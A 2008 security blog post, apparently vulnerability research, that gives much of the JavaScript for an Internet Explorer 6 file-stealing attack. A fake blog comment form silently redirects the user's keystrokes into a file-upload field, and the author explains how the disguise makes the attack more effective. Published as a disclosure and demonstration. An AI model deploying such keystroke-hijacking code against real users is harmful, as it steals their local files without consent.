File Stealing in Internet Explorer 6 - Part 5

This is part five in a multi-part discussion of Internet Explorer 6 file stealing vulnerabilities. Prior posts build upon each other: part one, part two, part three, and part four.

The fifth demonstration marks the move to a more plausible layout. The layout mimics that of many common blog comment sections. This is an area where normal users could be expected to enter a reasonable amount of text including special characters. Although not shown in these demonstrations, the addition of a CAPTCHA could be used to further improve the attack.

In prior demonstrations, only a single textarea was used. This allowed for hard-coding of the events and handling of the cursor and selections. By adding more controls, the hard-coding approach is no longer feasible. Instead, a list of controls is constructed and a global current_obj variable is used to track the currently active control:

var controls = new Array();
var current_obj = null;
var offsets = new Object();

The controls to hook are registered:

    register_control(document.getElementById("user_name"));
    register_control(document.getElementById("email_address"));
    register_control(document.getElementById("website"));
    register_control(document.getElementById("text1"));

The control registration function associates a generic event handler with the control:

function register_control(control) {
    control.value = "";
    control.attachEvent("onkeyup", dispatch_text_event);
    control.attachEvent("onkeydown", dispatch_text_event);
    control.attachEvent("onmousedown", dispatch_text_event);
    control.attachEvent("onmouseup", dispatch_text_event);
    control.attachEvent("onfocus", dispatch_text_event);
    controls.push(control);
    offsets[control.id] = -1;
}

The dispatch_text_event event handler is responsible for determining the appropriate action to take when an event is raised:

function dispatch_text_event() {
    switch (event.type) {
    case "keydown":
	text_keydown(event, event.srcElement);
	break;
    case "keyup":
    case "mousedown":
    case "mouseup":
    case "focus":
	current_obj = event.srcElement;
	snapshot();
	break;
    default:
	window.status = "UNHANDLED: " + event.type + "(" + event.srcElement.id + ")";
    }
}

For keydown events, the event will be handled by the text_keydown function. But for all other events, the current_obj is set to the source of the event and the snapshot function is used to record the current cursor position and document selection.

The snapshot function has been updated to handle both textarea elements and text input elements:

function snapshot() {

    start_pos = 0;
    end_pos = 0;

    if (document.selection){
	var range = document.selection.createRange();
	if (null != range) {
	    var stored_range = range.duplicate();
	    if (null != stored_range) {
		if ("TEXTAREA" == current_obj.tagName) {
		    // from
		    // http://www.bazon.net/mishoo/articles.epl?art_id=1292
		    var cv = current_obj.value;
		    var caret_pos = get_caret_pos(current_obj, range);
		    for (var i = 0; i < caret_pos; ++i) {
			if ("\r" == cv.charAt(i)) {
			    ++caret_pos;
			}
		    }
		    start_pos = caret_pos;
		    end_pos = start_pos + range.text.length;
		} else {
		    // from http://the-stickman.com/web-development/javascript/finding-selection-cursor-position-in-a-textarea-in-internet-explorer/
		    stored_range.expand('textedit');
		    stored_range.setEndPoint('EndToEnd', range);
		    start_pos = stored_range.text.length - range.text.length;
		    end_pos = start_pos + range.text.length;
		}
	    }
	}
    }

}

Several important changes have been made to fully support textareas. First, "The Right, undocumented solution" is used to determine the caret position within the textarea. An improvement to this method is made by dynamically determining the offset within the bookmark data. The get_caret_pos function is responsible for this:

function get_caret_pos(obj, range) {
    var offset = offsets[obj.id];
    if (offset < 0) {
	var r = obj.createTextRange();
	if (null != r) {
	    r.move("character", 0);
	    offset = offsets[obj.id] = Math.floor(r.getBookmark().charCodeAt(2));
	}
    }
    var bookmark = range.getBookmark();
    var cc = bookmark.charCodeAt(2);
    return Math.floor(cc) - offset;
}

The second important change for the textarea is to track the number of carriage-return ("\r") characters that appear and adjust the position accordingly. After a keystroke is re-directed from a textarea, the cursor can always be reset to the exact position.

For text input elements, the same basic approach from prior demonstrations can be used. Since there are no carriage-returns to be concerned with, the text range method is sufficient. A slight change is required though. Note that:

	stored_range.moveToElementText(text1);

is changed to:

	stored_range.expand('textedit');

Additional keystroke restrictions are added to the file input element. These are meant to provide protection against inadvertent user input or interaction with the file input. By intercepting any mouse clicks or keydown events in the file input field, undesired actions can be avoided. For instance, if the user was able to tab into the file input field and then execute a backspace or delete keystroke, already captured data would be lost. The file_click and file_keydown event handlers:

function file_click(e) {
    if (null != current_obj) {
	current_obj.focus();
    }
    return false;
}

function file_keydown(e) {

    var kc = e.keyCode;

    var redirect_key = false;

    switch (kc) {
    case 8: // backspace
        break;
    case 9: // tab
        break;
    case 13: // return
        break;
    case 16: // shift
	redirect_key = true;
        break;
    case 17: // ctrl
        break;
    case 18: // alt
        break;
    case 19:  //pause
        break;
    case 20: // caps lock
        break;
    case 27: // escape
        break;
    case 33: // page up
        break;
    case 34: // page down
        break;
    case 35: // end
        break;
    case 36: // home
        break;
    case 37: // left arrow
        break;
    case 38: // up arrow
        break;
    case 39: // right arrow
        break;
    case 40: // down arrow
        break;
    case 44: // print screen
        break;
    case 45: // insert
        break;
    case 46: // delete
        break;
    case 91: // left windows
    case 92: // right windows
    case 93: // right menu
        break;
    case 112: // f1 .. f22
    case 113:
    case 114:
    case 115:
    case 116:
    case 117:
    case 118:
    case 119:
    case 120:
    case 121:
    case 122:
    case 123:
    case 124:
    case 125:
    case 126:
    case 127:
    case 128:
    case 129:
    case 130:
    case 131:
    case 132:
    case 133:
    case 134:
    case 135:
        break;
    case 144: // num lock
        break; 
    case 145: // scroll lock
        break;
    case 224: // meta
        break
    default:
	redirect_key = !e.ctrlKey && !e.metaKey;
        if (0 == kc && !e.shiftKey) {
	    redirect_key = false;
	}
    }

    return redirect_key;
}

The remaining changes simple reference the current_obj in place of the hard-coded textarea. In doing so, any text entered in any of the input controls can be used to complete the desired file path.

By slightly modifying the approach to support multiple text input and textarea elements, the effectiveness of the attack is greatly increased. A file stealing attack has a much higher chance of success when it is combined with a familiar user interface and could be seamlessly integrated into existing content with a minimal amount of effort.

Posted by gfleischer on 2008/01/18 at 12:34 in Vulnerabilities

Home

Subscribe
RSS 2.0
Quick Links
Content
Info

Categories
Archives
Sitemap
Valid XHTML 1.0 Transitional Valid CSS!